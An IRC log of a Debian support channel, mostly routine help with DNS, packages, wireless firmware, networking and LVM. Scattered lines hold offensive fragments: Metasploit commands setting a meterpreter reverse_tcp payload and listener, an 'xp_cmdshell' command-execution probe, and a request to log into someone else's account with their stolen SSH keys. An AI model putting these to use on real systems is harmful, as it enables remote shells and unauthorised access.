11:54<Eni>i want to setup reverse_tcp
11:55<ml|>newman555: /msg dpkg open files
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11:56<Eni>i setup like : set payload windows/meterpreter/reverse_tcp
11:56<Eni>then set lhost 192.168......
11:56<Eni>then set lport 4444
11:56<Eni>but i cant exploit!
11:56<Eni>how can i setup it?
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11:57<newman555>mI: ?
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11:58<ml|>newman555: in your irc client type the above and then look for a new window/tab named dpkg and read it
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12:04<newman555>mI: thanks! :)
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12:06<qwerty>hi all ^_^
12:07<qwerty>Guys, actually, I can't access TOR on my debian PLS help me ;(
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12:09<newman555>mI: just tried it...still the same result
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12:10<newman555>mI: fuser. no process on that file/directory. this is btw, my mount dir
12:10<newman555>mI: /mnt/usbsdd1
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12:21<grohne>the-dude: hartmans managed to change the error message to "Wrong principal in request"
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12:22<the-dude>grohne: does it work?
12:22<grohne>the-dude: I gotta go now. everything is contained in the bug log (#604925). if you wish to follow up on it, mail the bug. thank you very much for your help.
12:22<grohne>the-dude: no.
12:23<the-dude>grohne: 2 bad good luck :)
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12:38<yoshio>newman555: try 'lsof /mnt/usbsdd1'
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12:39<jcberg>when i joined #debian just now, Melody_Tunes sent me a spam
12:40<jcberg>/ignore is good.
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12:40<jcberg>i installed lenny yesterday and it works very well. nice job
12:40<locklace>!congratulate jcberg
12:40<dpkg>Hugs & Puppies jcberg, you did it!
12:40<jcberg>hopefully no more of my apps break on system update
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12:41<Sisi1>hello everyone i have a problem with setting up Bind9
12:41<dpkg>mooooooo! I am cow, hear me moo, I weigh twice as much as you. I'm a cow, eating grass, methane gas comes out my ass. I'm a cow, you could be too; join us all! type apt-get moo. aplay /usr/lib/openoffice/basis-link/share/gallery/sounds/cow.wav
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12:41<Sisi1>can anyone help?
12:41<locklace>jcberg: just in time for squeeze
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12:41<Sisi1>hello everyone i have a problem with setting up Bind9 , can any one give me a hand please , i need real help
12:41<dpkg>If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later or on See <smart questions><errors>.
12:42<jcberg>locklace: does squeeze have python 3? if so i can't run it. breaks many critical apps for me
12:42<locklace>jcberg: no, 2.6
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12:42<jcberg>ah that's fine
12:42<themill>it also has python3
12:42<locklace>,versions python --release squeeze
12:42<dpkg>If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later or on See <smart questions><errors>.
12:42<judd>Package python on i386 -- squeeze: 2.6.6-3+squeeze1
12:42<Zaba>no sane system will replace python with python3
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12:43<Sisi1>!ask I have a problem with Bind9 ; I'm running debian version5 ; when i do the zones files and everything and i go to domain panel to change dns it says Invalid TLD , I just dont know how to setup DNS
12:43<jcberg>what is your TLD
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12:44<jcberg>.com .net .org .se are all TLD's. which TLD are you using
12:44<Sisi1>I dont know what is TLD
12:45<Sisi1>I wanna link a domain (.com) to my dedicated server
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12:46<jcberg>well i found bind to be a horrible nightmare so i ended up buying dns services. good lock though
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12:46<retrospectacus>Sisi1: what is the "domain panel" you speak of? You do own the domain name right?
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12:48<mwalling>themill: you know i cant join here (mark_) and see the spam if the bot is gone... :)
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12:49<themill>mwalling: sure, but it's in enough other channels for you :)
12:49<locklace>jcberg: using it is also like sticking a big red "compromise me" sticker on your back
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12:53<Sisi1>@retrospectacus i have a domain bought from godaddy
12:53<Sisi1>!ask I have a problem with Bind9 ; I'm running debian version5 ; when i do the zones files and everything and i go to domain panel which is provided by godaddy to change dns it says Invalid TLD , I just dont know how to setup DNS
12:53<dpkg>Sisi1: I think you lost me on that one
12:54<Sisi1>dpkg robot?
12:54<dpkg>hmm... robot is you
12:54<Sisi1>:D joke dude
12:54<locklace>!confuse Sisi1
12:54<dpkg>Yes, who are my weasel yesterday, Sisi1? Wellies of the Dictatorship of Liechtenstein with extra cheese.
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12:54<retrospectacus>Sisi1, they will host the DNS service, or you can do it - just put your dns server ip in the NS box for the domain
12:54<Sisi1>locklace : the issue is simple how can i link my domain (.com) which is bought from godaddy with a panel with my debian server
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12:55<Sisi1>retrospectacus i didnt install dns on my dedicated yet and when i put my dedicated server ip on the NS it says Invalid TLD.
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12:57<retrospectacus>really eh, they don't let you put a IP in there. Well unless you have a good reason, just have them host DNS, and put your server's IP in the DNS records for www or whatever
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12:58<Sisi1>retro' : i think i am doing the zones part wrongly
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13:03<Sisi1>!ask I have a problem with installing Bind9 and configuring it ; My debian version is 5
13:03<dpkg>Sisi1: that's too long
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13:05<themill>Sisi1: you can leave out the "!ask" bit. Just ask your question. You'll need to stick some configuration details on if people are going to help you
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13:29<jhutchins_lt>Sisi1: Are you following a howto?
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13:30<Lantizia>Hey, I'm using apache2 from squeeze... if I make a <Directory /var/www/> and a directory <Directory /var/www/hello> ... does hello inherit all the attributes from the directory before?
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13:31<simonrvn>there are docs you know
13:31<jhutchins_lt>Lantizia: There are some exceptions, but generally yes. The /var/www directory shold be part of the install.
13:32<Lantizia>jhutchins_lt, ok so if it's a yes... it confuses me why the default file of sites-available/default has "Allow Override None" and "Options FollowSymlinks" set for /var/www/ when / already has that set
13:33<jhutchins_lt>Lantizia: It's a long and complex process. One reason is so you can have different permissions.
13:34<Lantizia>oh I understand the need to declare both directories... just not why /var/www/ needs to declare what / already did
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13:49<cipher_>does anyone know where the apt-get repository list is; I need to delete some corrupted entries.
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13:50<retrospectacus>cipher_: /etc/apt/sources.list
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13:51<jhutchins_lt>Lantizia: On a working server / would be deny all, /var/www/ would be allow.
13:52<Lantizia>jhutchins_lt, nothing is inherited like you've said - tried it loads now
13:52<Lantizia>will have to put the settings i need in all directories specified
13:52<jhutchins_lt>Lantizia: I think you're misinterpreting the settings. Read the docs.
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13:53<cipher_>Actually I meant the "installed programs" list so to speak
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13:54<jhutchins_lt>cipher_: You have corrupted records for installed programs?
13:54<cipher_>approximately? I have done this before with help to fix the same problem I am having now.
13:54<cipher_>If I can find the file, I can fix it anyway :p
13:55<jhutchins_lt>cipher_: Odd that you not only have the problem, but multiple times. What do you do that causes it?
13:55<cipher_>I am trying to install the ogre3d packages
13:56<jhutchins_lt>How does this corrupt the database?
13:57<cipher_>It thinks that EVERY file I try to install is depended on a package that cannot install.
13:57<cipher_>that I cannot*
13:57<cipher_>dependent*, lol sorry
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13:58<cipher_>jhutchins_lt, any idea where this file may be located?
13:59<jhutchins_lt>cipher_: This is using the lenny packages from debian?
13:59<oxan>cipher_: which error exactly do you get?
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13:59<jhutchins_lt>cipher_: I think editing those files directly may not be the best way to solve your problem.
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14:00<cipher_>I spent a very long time trying to fix it before, that was the only way I concluded that fixed it.
14:00<cipher_>I will make sure to make a backup first.
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14:01<jhutchins_lt>cipher_: So what, you're planning to make it look like the dependency is installed?
14:01<jhutchins_lt>,versions ogre
14:01<judd>Sorry, no package named 'ogre' was found in i386.
14:01<cipher_>I am just going to delete the ogre entries
14:01<cipher_>worked last time
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14:01<jhutchins_lt>,versions ogre-tools
14:01<judd>Package ogre-tools on i386 -- etch: 1.0.6-1.4; lenny: 1.4.9.dfsg1-1; sid: 1.6.4.dfsg1-1; squeeze: 1.6.4.dfsg1-1
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14:02<cipher_>I take it no-one will give me the file location?
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14:05<retrospectacus>I don't think anyone has quite figured out what file you are talking about
14:06<mjt>the location is simple.
14:06<mjt>why it 'corrupts' is more difficult
14:07<retrospectacus>what file then?
14:07<cipher_>It stores each package name and a description of it, its dependencies etc. Sorry i am being so vague.
14:07<mjt>but i wonder why, if "last time it worked", you got to it again and why you don't remember what did you do
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14:07<mjt>it's /var/lib/dpkg/status
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14:07<cipher_>Thank you.
14:07<mjt>it's exceptionaly rare when on needs to mess with it
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14:08<jhutchins>When all you have is a hammer, everything looks like a nail.
14:08<mjt>probably only when debugging dpkg
14:09<mjt>where does that phrase come from - about a hammer?
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14:11<cipher_>it works now
14:12<mjt>so tomorrow when it breaks again you'll come back and ask where it is?
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14:12<cipher_>saving the location.
14:13<mjt>cipher_: are you debugging some new feature of dpkg?
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14:15<cipher_>no, I just could not find a solution several months ago, and I did not want to screw with it.
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14:37<dr3af>hello!I just installed debian sqeeze but i got a problem. the network indicator show ethernet as "device not managed" and wifi as "device not ready". what should i do??
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14:48<dr3af>hello!I just installed debian sqeeze but i got a problem. the network indicator show ethernet as "device not managed" and wifi as "device not ready". what should i do??
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14:50<cahoot>dr3af: re the wifi try /msg dpkg wifi
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14:51<dr3af>where i should write that? "/msg dpkg wifi" ??
14:51<cahoot>in your irc client
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14:52<dr3af>unknown command...
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14:52<dr3af>im using empaty
14:52<retrospectacus>!tell dr3af -about wifi
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14:53<dr3af>ok i know i got iwlagn...
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14:54<cahoot>firmware-iwlwfif installed?
14:55<dr3af>how i can see that?
14:55<cahoot>aptitude install firmware-iwlwifi (you need non-free sources enabled)
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14:57<dr3af>i cant download anything with both interfaces not-working
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14:58<cahoot>download it from your current system - put it on a usbstick, install with dpkg
14:59<dr3af>there are no dependencies for it?
14:59<cahoot>dr3af: no it's a single deb
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15:03<dr3af>cahoot: after install i should reboot?
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15:05<cahoot>dr3af: unload reload iwlagn should suffice
15:06<cahoot>i e modprobe -r iwlagn; modprobe iwlagn ; dmesg (just to check)
15:06<limestone>anyone else having problem with time under squeeze? does your time goes wrong after a while or is it my motherboard battery? I sync the time with server so it shoud not be the battery..
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15:09<dr3af>cahoot: <3!!!
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15:11<perico21>I have a problem when I try to connect to my own sockets from my machine. This problem does not exists when trying from another machine I have in the LAN.
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15:13<rudi_s>perico21: Connect as in nc localhost port?
15:14<perico21>yes, I open one port with nc -l -p port, and then in other terminal I try with nc localhost port, but nothing happens
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15:14<rudi_s>perico21: Nothing happens? Then the connection is open and you can write something.
15:15<perico21>yes, I write, but it doesn't display
15:15<retrospectacus>you are supposed to use pipes to create and receive data
15:15<perico21>if I try from another machine it works
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15:16<perico21>when I try with apache it happens the same, from the other computer it works, but from the one running it, it gives a timeout
15:17<retrospectacus>can you ping localhost?
15:17<perico21>I have checked the iptables but I have everything in accept
15:17<perico21>no I cannot ping myself
15:18<perico21>100% packets lost
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15:18<retrospectacus>perhaps you have removed localhost entry from /etc/hosts
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15:18<limestone>anyone else having problem with correct time under squeeze?
15:18<perico21>no it is still there: localhost
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15:20<perico21>I can ping the computer from the other one
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15:21<retrospectacus>perico21: does ifconfig shows the lo interface up?
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15:22<perico21>it's that, I had the lo interface down, thanks guys everything works fine
15:23<retrospectacus>should have auto lo in /etc/network/interface so it is up by default
15:24<perico21>I'm going to check that because I have been modding the file recently
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15:25<perico21>It seems I erased the auto lo statement ups!
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15:25<retrospectacus>!fruitsmite perico21
15:25*dpkg smites perico21 with a dozen bananas
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15:29<perico21>I am going to reboot and test everything works fine, thanks and bye!
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15:31<pimeja>is training at #debian-woman going to start today? according to
15:31<dr3af>after a fresh install of sqeeze should i change something on my source.lst file?i heard many people telling this..
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15:34<abrotman>change it for what?
15:34<retrospectacus>dr3af: not without any good reason... you may want to add non-free or something
15:34<And1>pimeja: #debian-womEn
15:35<dr3af>retrospectacus: they talk about the stable,testing and unstable branch... doesn't my debian regognize i want the sqeeze??
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15:36<retrospectacus>dr3af: who is? squeeze == testing at the moment but this will change. It's up to you
15:37<pimeja>And1: thanks
15:37<abrotman>dr3af: do NOT change your sources.list to something you don't know about .. it's realyl not recommended and it's how you break you rsystem
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15:38<And1>pimeja: Good you posted the link, didn't know... ;)
15:38<cipher_>mjt, if you recall me from before asking about repository's; I finished installing netbeans and fltk, however when ever I access the methods show() or hide() from a pointer of any widget class, it seg faults. The code runs fine on other people's computers. I realize this is question is a bit far fetched for this irc, however you guys seem to be very knowledgeable.
15:39<dr3af>another question: On the empathy client there are no protocols for irc wlm etc,except facebook and can i change that?
15:40<abrotman>it only does XMPP, if you want others, install pidgin
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15:40<cipher_>i suppose that question is directed to anyone.
15:40<dr3af>abrotman: but on ubuntu i got more protocols,whats the difference?
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15:41<abrotman>ask them ..
15:41<EmleyMoor>dr3af: Are they the same upstream version?
15:42<abrotman>or i thught it only did XMPP
15:42<abrotman>maybe not .. still, use pidgin
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15:43<dr3af>EmleyMoor: from the very first edition the used many protocols..
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15:44<dr3af>EmleyMoor: but i see something on live-gnome ("Supported protocols depend on installed Telepathy Connection Manager components"). I think thats the difference! But dont know how to install them. Anyone??
15:45<cahoot>dr3af: try aptitude search empathy for possible add-ons
15:45<retrospectacus>or aptitude search telepathy
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15:46<cahoot>probably more correct
15:46<retrospectacus>seems to be some useful things there
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15:46<dr3af>retrospectacus: i see something "i A empathy" etc .the "i A" means that is installed?
15:47<mjt>cipher_: dunno. It sounds like some library version mismatch - the library which is installed vs the library against which your applications were built.
15:47<mjt>cipher_: that's something what dpkg is supposed to keep in right order...
15:47<mjt>(based on the info in packages anyway)
15:48<cipher_>Ogre3d has nothing to do with it :p
15:48<cipher_>it compiles fine w/o using a pointer (allocating to the heap)
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15:49<cipher_>I'll try building from source i guess.
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15:55<mjt>cipher_: there's also a possibility you have a mix of lenny and squeeze (for example) which does not always work
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15:56<jacks_lt>how to set a shortcut with a command which should be run as root?
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15:56<jacks_lt>in ubuntu you use sudo
15:56<jacks_lt>is there a su way?
15:56<cipher_>you still use sudo
15:56<cipher_>su root
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15:57<mjt>sudo works on any distribution
15:57<dr3af>cipher_: btw,when i use sudo it says "dr3af is not in the sudoers" how i fix it?
15:57<dpkg>[sudo] (Substitute User DO) Not enabled by default on Debian systems; configure /etc/sudoers first, ask me about <visudo>, <sudoers>. sudo can give limited super user privileges to specific users, or allow you to do silly things like run X apps with root permissions, or good in scripts with "username ALL = NOPASSWD: /some/program".
15:59<jacks_lt>su root doesn't work
15:59<mjt>it works
15:59<mjt>but it asks for the password
15:59<dr3af>mjt: thanks!
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15:59<mjt>dr3af: say that to dpkg :)
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16:00<jacks_lt>Mod4 Shift p :Exec xterm -hold -e su root cpufreq-set -g performance
16:00<jymere>hi ! I 'm playing a "fun game". It asked to me to connect on an account which I know the user login and the ip. Besides i have two keys: public and private rsa keys of the owner. But i haven't got his password. So I created the two files which contains the two keys and normally, I have to do the same thing and the other account (I tried scp ...) but it asked me the password si i can't use this method. How can I proceed ?
16:00<jacks_lt>this aint work as shortcut
16:01<jacks_lt>which might be logic
16:01<mjt>jacks_lt: you need sudo for that, not su
16:01<jymere>the two files that I have created are in /home/.ssh/ ...
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16:10<cipher_>mjt: i reinstalled it all, and am compiling with: g++ -I/usr/local/lib -lfltk -Wall test.cpp -o test. ( same seg fault from show..
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16:15<smv>jymere, what exactly you try to do?
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16:17<mjt>cipher_: i dunno, really.
16:17<cipher_>i actually fixed it
16:17<cipher_>g++ -I/usr/local/include -I/usr/include/freetype2 -D_LARGEFILE_SOURCE -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -D_THREAD_SAFE -D_REENTRANT -o 'test' 'test.cpp' /usr/local/lib/libfltk.a -lXext -lXft -lfontconfig -lXinerama -lpthread -ldl -lm -lX11
16:18<jymere>smv: in fact i want to connect on the account (which i know login+ip) via ssh
16:18<mjt>that's static link for libfltk
16:18<jymere>I have the public key and the private key of the owner
16:18<mjt>so dynamic fltk does not work
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16:18<jymere>smv: in fact i want me to connect on the account (which i know login+ip) via ssh
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16:20<smv>jymere, security wise that ssh key should be considered insecure if you have received it via internet, because private keys should never be sent to anyone else.
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16:20<jymere>smv it's a sort of a game in order to learn ...
16:20<smv>jymere, and you don't know the password of that account.
16:21<smv>do you have any other way to connect to that machine?
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16:21<jymere>i would like but i don't know how to proceed ...
16:22<jymere>no nothing
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16:23<smv>jymere, basicaly, to connect through ssh there are 2 ways, using a password or a key, wheter dsa or rsa. to use keys the ssh server must be configured that way.
16:24<jymere>so in fact it is already configured in host's machine. I try again...
16:24<smv>jymere, if you do "ssh username@ip" and it asks for a password then it means that the ssh server is not configured to use keys
16:24<smv>jymere, if i'm not wrong...
16:25<jymere>but if the files contains the keys are already on the remote computer I juste have to created this file on my computer ?
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16:26<jymere>no it doesn't work
16:26<smv>jymere, now, if the ssh server is configured to use keys, then you have to setup a ssh key on your account, on your local machine, and then send the _public_ key, never the private one, to the other system.
16:27<smv>jymere, backup your ~/.ssh first, and then use ssh-keygen to generate a ssh key
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16:28<jymere>in order to creat an other public key ?
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16:29<smv>jymere, in order to create a public and a private key, that you will manage properly.
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16:30<iron>whats the best current practice to deal with spam. is it still spamassassin?
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16:30<@Ganneff>its a mixture of a lot of things, SA is merely one of them
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16:31<iron>@Ganneff: ok i will look for a tutorial how to install it :) thanks
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16:44<lantizia_>Don't suppose anyone knows how to get a .htaccess to redirect a request for a directory (and any files within) to a port without specifying the hostname or IP
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16:44<lantizia_>I'm not sure - but I think it's impossible :S
16:45<lantizia_>like redirect /shop to port 443 but without mentioning any domains
16:46<retrospectacus>you can redirect to a file which redirects to a url with the other port
16:46<lantizia_>i can already do it with a file, was hoping to put it all in the htaccess
16:47<retrospectacus>lantizia_: 1st google result:
16:48<lantizia_>it's not like I haven't been googling this... and that mentions a domain doesn't it!?
16:48<retrospectacus>hm, yes
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16:51<lantizia_>in fact I can't think of any way of doing a link or a redirect that is relative to where you are (hostname/ip) either with hyperlinks or common kinds of redirects that can change port or even protocol
16:52<lantizia_>only directory/file
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16:54<retrospectacus>not really... you can futz around with $_SERVER['HTTP_HOST'] and stuff with PHP
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16:55<lantizia_>think I've found a way with htaccess - just trying now
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16:57<Blitzmerker>Hi, is there a shutdown-command which I can use whithout being root?
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16:58<Torsten_W>Blitzmerker, using sudo?
16:58<Blitzmerker>without root privilages at all
16:59<abrotman>Blitzmerker: man shutdown.allow
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16:59<Zummy>Hello! Is this the right channel for debian help?
16:59<abrotman>one of them, yes
17:00<Blitzmerker>abrotman: No manual entry for shutdown.allow
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17:00<Zummy>Well I was hoping someone more educated in linux in general could help me with a wireless card issue, would there be a more appropriate channel?
17:00<abrotman>Blitzmerker: oh, sorry, in man shutdown
17:00<abrotman>Blitzmerker: did you try just tapping the power button ?
17:00<abrotman>Zummy: you can try here .. just ask
17:01<Zummy>Well I know in different distributions my wireless card is a pain to set up, its a Broadcom 4318, I was wondering if its a linux problem in general or just certain distributions.
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17:01<dpkg>[b43] the driver for modern Broadcom 802.11b/g PCI/PCI-E wireless LAN chipsets, included in Linux since 2.6.24. Firmware is required, ask me about <b43-fwcutter> to provide. 802.11b-only devices and BCM4306 rev 2 are instead supported by <b43legacy>. BCM4313/4321/4322/43224/43225 (all 802.11n) are not supported, ask me about <wl>, <brcm80211>. #bcm-users on
17:01<amphi>it's a broadcom problem ;)
17:02<abrotman>broadcom is such a pain
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17:02<ompaul>Blitzmerker: only if you have physical access and X when you can click on the shutdown icon in the log in window (this assumes you have gdm or kdm running and displaying that option) other than that you need permission from root
17:02<Zummy>I agree. I can get linux working on my laptop brilliantly and I love it, but my desktop has that broadcom curse. :P Is there a specific distribution that'd make this easier? like Gnome or KDE based?
17:02<zuo>Hello .*
17:03<Zummy>Hi zuo
17:03<Blitzmerker>abrotman: I can use: System->Shutdown->Shutdown, but I want to do this in a Terminal
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17:04<ompaul>Blitzmerker: you need to get sudo permissions granted to you
17:04<abrotman>Blitzmerker: man shutdown .. loook at the notes about shutdownb.allow
17:04<ompaul>Blitzmerker: or as abrotman said
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17:10<Zummy>So I found that my driver (14e4:4318) is supported, and the driver is b43. Is this driver the same as the firmware, or do I need both or just one? >.< I'm very confused to say the least haha
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17:11<camille>how are you?
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17:12<Zummy>Alright, trying to get my broadcom driver to work, I'm contemplating just buying a new wireless card to avoid all this hassle, haha. Black friday is coming up here in the U.S.
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17:14<dpkg>[b43] the driver for modern Broadcom 802.11b/g PCI/PCI-E wireless LAN chipsets, included in Linux since 2.6.24. Firmware is required, ask me about <b43-fwcutter> to provide. 802.11b-only devices and BCM4306 rev 2 are instead supported by <b43legacy>. BCM4313/4321/4322/43224/43225 (all 802.11n) are not supported, ask me about <wl>, <brcm80211>. #bcm-users on
17:15<locklace>Zummy: it is a pain, and you need both the driver and the firmware
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17:15<Zummy>Makes sense... I'm reading a wiki and it says to put this in the terminal "sudo apt-get install b43-fwcutter" But that won't work if I don't have internet? My problem is that I have no wired connection
17:16<Zummy>I can download from windows and boot the live CD and use an external harddrive to move between the two.
17:17<gadi>Zummy: download it on another pc with debian packages search
17:17<gadi>if it has no many dependences...
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17:20<Blitzmerker>abrotman, ompaul: I found the command to shutdown :"dbus-send --system --print-reply --dest=org.freedesktop.ConsoleKit /org/freedesktop/ConsoleKit/Manager org.freedesktop.ConsoleKit.Manager.Stop"
17:20<Zummy>gadi: I got it, this is what I'm looking at right now. now I have to look for a debian live cd download to make sure that I can download the i386 version and be compatable
17:21<amphi>Blitzmerker: so simple and easy to recall ;)
17:22<abrotman>or use shutdown.allow ?
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17:30<mjt>where are consolekit/dbus logs?
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17:31<stinkyfax>can anyone suggest any debian program to make torrent files?
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17:31<stinkyfax>i can't get mktorrent installed
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17:34<mjt>mktorrent is a very simple single-executable package
17:34<mjt>,versions mktorrent
17:34<judd>Package mktorrent on i386 -- sid: 1.0-3; squeeze: 1.0-3
17:34<stinkyfax>uh, apt-cache search mktorrent returns 0
17:35<mjt>must be lenny
17:36<stinkyfax>so are there any alternatives for me?
17:36<stinkyfax>i also need it to be shell since it's server
17:37<mjt>you can download the package and install it directly with dpkg
17:37<mjt>it will work on lenny
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17:37<hamza>j voulai avoir de detail sur le faille de systeme backtrack si vs pouvez m'aider je vs serais reconnaisan
17:38<retrospectacus>!tell hazma about backtrack
17:38<retrospectacus>!tell hazma about fr
17:38<mjt>um, why there are so many questions about backtrack?
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17:39<crazyb0y>hehe it's famous now =)
17:39<devil>mjt: do you know how ,versions is implemented? its a nice feature
17:39<stinkyfax>mjt: i am sorry, can u tell me how to do it?:)
17:40<mjt>stinkyfax: dpkg -i $file.deb
17:40<mjt>devil: judd is a bot, what are you asking?
17:40<mjt>judd: bot
17:41<devil>mjt: i know, i would like that freature for our channel bot
17:41<crazyb0y>devil: me too =)
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17:41<mjt>crazy talks with devil. go figure.
17:41*mjt hides
17:42<crazyb0y>devil: i need to know few thing more about infobot =) may i ask you?
17:42<stinkyfax>mjt: thanks, it seems to be working now
17:42<devil>crazyb0y: we use supibot and i know exactly nothing about it :)
17:43<crazyb0y>devil: oh i just want to know how can i change the bot to answer with "!" instead of
17:43<crazyb0y>"word?" and "$botnick"
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17:44<devil>crazyb0y: supibot gets triggered by !<factoid>
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17:45<crazyb0y>devil: and it's the same as infobot?
17:45<devil>mjt: i guess it queries rmadison
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17:45<devil>crazyb0y: no
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17:46<dpkg>hmm... judd is a window into the Ultimate Debian Database (ask me about <udd>). Judd can look up package, PCI-Id and kernel config information. To get a list of commands, "/msg judd list Judd" "/msg judd list Piccy" and for usage information, "/msg judd help commandname". See also <source judd> <judd-packages> <judd-hardware>.
17:47<crazyb0y>themill: do you know how can it be set to infobot? =) to answer with "!factoid"
17:47<abrotman>crazyb0y: you change the short-addressing character IIRC
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17:48<crazyb0y>abrotman: thanks, but i don't know where to change it =)
17:48<abrotman>in the config file ..
17:48<themill>crazyb0y: I have no idea what you're actually asking about.
17:49<crazyb0y>abrotman: yes i have searched for it, but there's nothing about it
17:49<devil>!source judd
17:49<dpkg>Judd uses a local instance of the Ultimate Debian Database <udd> for packages data. Piccy uses various data files scraped out of the kernel, kernel modules and xorg packages. Source code for these plugins can be found at;a=tree;h=refs/heads/master;hb=master, or
17:50<abrotman>devil: he's asking about INFOBOT .. not judd
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17:52<devil>abrotman: yeah, just realised
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17:52<crazyb0y>abrotman: maybe i have to change AddressCharacter
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17:52<abrotman>sounds reasonable
17:53<crazyb0y>but doesn't work=)
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17:54<ulwanski>Dobry wieczor :)
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17:55<ulwanski>Hello :)
17:55<crazyb0y>abrotman: thanks =) it's ok now
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17:56<corexp>Hello everyone.
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17:56<corexp>I'm trying to format a device, but it is labeled a mounted, even it it's not.
17:56<corexp>What can I do?
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17:59<diederik>corexp: don't know a 'direct' solution, but you could do it using a live cd
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18:03<retrospectacus>corexp: very strange
18:04<devil>what does 'mount' say?
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18:06<corexp>diederik: unfortunately it's a remote server.
18:06<corexp>retrospectacus: yes it is indeed :-|
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18:08<corexp>Also vg is on /dev/sda4.
18:08<mjt>sure about that?
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18:08<mjt>also swapon -s
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18:09<mjt>it's quite usual to have boot on sda1 and everything else on sda2 in lvm
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18:10<corexp>mjt: yes, I'm pretty sure about that. I'm precisely trying to extend vg to sda2.
18:10<corexp>Here are the commands:
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18:11<mjt>so also swap
18:11<corexp>I forgot swapon:
18:12<corexp>mjt: Unfortunately, I could do that from a fresh install. The tools I was provided wouldn't allow lvm at install time. So I had to get a classic install and move the data to lvm.
18:12<corexp>That's what I did. But now, I want to claim back my sda2 :)
18:13<mjt>squeeze should be able to install into lvm
18:13<corexp>Which isn't used anymore (or at least shouldn't).
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18:13<mjt>but i see
18:13<grummund>How can i stop find from listing ./ ?
18:13<crazyb0y>i'm using squeeze with lvm and encryption
18:13<crazyb0y>it's ok
18:14<corexp>Yes of course. Debian can do that for a long time now. Even since etch IIRC.
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18:14<corexp>With a CD and a screwdriver, this would be a piece of cake.
18:14<diederik>corexp: are you following some tutorial to add sda2 to a vg? if so, which?
18:15<mjt>corexp: well, besides lvm, md, swap and mount i can't think of anything else. also lsof.
18:15<corexp>With a stupid webinterface, it's less easy.
18:15<corexp>diederik: just pvcreate -ff -v /dev/sda2.
18:16<corexp>mjt: Thanks for you help then. I'll try to play with lsof some more then. fuser wasn't helpful.
18:16<antivirys> 06:17:41 up 31 min, 3 users, load average: 0.00, 0.04, 0.15
18:17<antivirys> 01:10:08 up 14 days, 3:34, 1 user, load average: 0.00, 0.00, 0.00
18:17<mjt>corexp: lsof/fuser will show only _user_ processes, not kernel-side
18:17<corexp>Oh, ok, thanks. I didn't know.
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18:18<mjt>corexp: there are quite a few more exotic things.. but wait.
18:18<mjt>corexp: there's also /proc/mounts it should give a bit different picture than your mount shows.
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18:19<diederik>corexp: I guess that command gave you that 'error'
18:20<diederik>it's been a while, but I don't think you can/should format it with ext4 after adding it to lvm (but can be wrong about that)
18:20<mjt>he's not adding it to vg
18:21<mjt>he's trying to understand why it's busy
18:21<diederik>no, but he added it to lvm
18:22<diederik>ok sorry, disregard my remarks then. Apparently it's been too long ;)
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18:27<mjt>diederik: , fwiw. the pvcreate was an example of how to add it, answering to your question
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18:30<diederik>corexp: did you do the mkfs.ext4 before or after the pvcreate command?
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18:32<diederik>looking at I don't see some format command ...
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18:33<mjt>diederik: he answered to your question about the howto (as in: no howto), he did not run pvcreate :)
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18:38<diederik>nvm me then. hard to diagnose an issue with non-used commands
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18:47<k-man>if i am using lvm, is it safe to rmove libdevmapper?
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18:52<corexp>k-man: nope, that's a bad idea.
18:52<k-man>ok, thanks
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18:53<corexp>mjt: I think I know what was wrong. I just found that lilo was also installed (yeah aside from grub).
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18:53<k-man>the problem is that sysv-rc complains about it when trying to move to dependancy based booting: insserv: warning: script 'S25libdevmapper1.02' missing LSB tags and overrides, insserv: warning: script 'libdevmapper1.02' missing LSB tags and overrides
18:53<corexp>So I guess it was booting in sda2 and then somehow still using it.
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18:53<abrotman>corexp: actually installed? or just have config files?
18:53<mjt>corexp: so what does /proc/mounts say?
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18:54<abrotman>k-man: that package is old .. dpkg -l libdevmap* .. how many are installed?
18:54<corexp>abrotman: there is an instaled package
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18:54<k-man>abrotman: 2, libdevmapper1.02 and libdevmapper1.02.1
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18:55<abrotman>you're in the middle of a dist-upgrade?
18:55<k-man>ah, can i uninstall one of those?
18:55<abrotman>k-man: that 1.02 is from etch isn't it ?
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18:55<abrotman>k-man: look at the actual version string
18:56<k-man>abrotman: no, dist-upgrade is complete, you may remember i had a borken system that was half stable and half squeeze, i finaly did a dist-upgrade to pure squeeze
18:56<mjt>corexp: even if your system boots from /dev/sda2, there's no traces of it anymore on live system.
18:56<corexp>Is there a know if lilo or grub was used when booting ?
18:56<abrotman>k-man: pastebin `dpkg -l libdevmap*`
18:56<k-man>abrotman: 2:1.02.08-1 and 2:1.02.48-4
18:56<corexp>mjt: ok, then it's probably something else.
18:56<mjt>corexp: lilo tends to add 'auto' at the end of /proc/cmdline
18:56<abrotman>judd: versions libdevmapper1.02
18:56<judd>Package libdevmapper1.02 on i386 -- etch: 2:1.02.08-1
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18:56<abrotman>judd: versions libdevmapper1.02.1
18:56<judd>Package libdevmapper1.02.1 on i386 -- lenny: 2:1.02.27-4; sid: 2:1.02.48-4; squeeze: 2:1.02.48-4
18:57<mjt>corexp: er, at the _beginning_, not end
18:57<corexp>I have it at the begining: "auto BOOT_IMAGE=Linux ro root=802"
18:57<corexp>Oh ok.
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18:57<abrotman>k-man: roughly .. remove the libdevmapper1.02 (Not the 1.02.1)
18:58<corexp>Is there a simple way to make it use grub? grub-install perhaps?
18:58<mjt>also see whcih partition is active
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18:59<k-man>thanks abrotman
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19:01<k-man>is there some way i can list removed packages that could be purged?
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19:03<corexp>dpkg -l | grep ^rc? Or deborphan?
19:03<dpkg>ii | grep ^rc? Or deborphan 1.7-13.3 ultra s3kr1t #debian package
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19:05<corexp>Well that's it. It's not booting anymore. I'll try again tomorrow.
19:05<corexp>Have a good night/day everyone.
19:05<corexp>And thank you for the help.
19:05<themill>k-man: "aptitude search ~c" (and you could "aptitude purge ~c" to get rid of them all)
19:06<k-man>themill: nice work, thanks
19:07<k-man>wow, i have lots!
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19:13<retrospectacus>hi Dave, how are you?
19:14<DaveJaffe>just doing some testing
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19:16<DaveJaffe>xp_cmdshell 'net+view'
19:17<abrotman>DaveJaffe: do you have a Debian question ?
19:18<DaveJaffe>no just doing some testing
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21:40<boyfid>is this working
21:41*nasuta-work is working
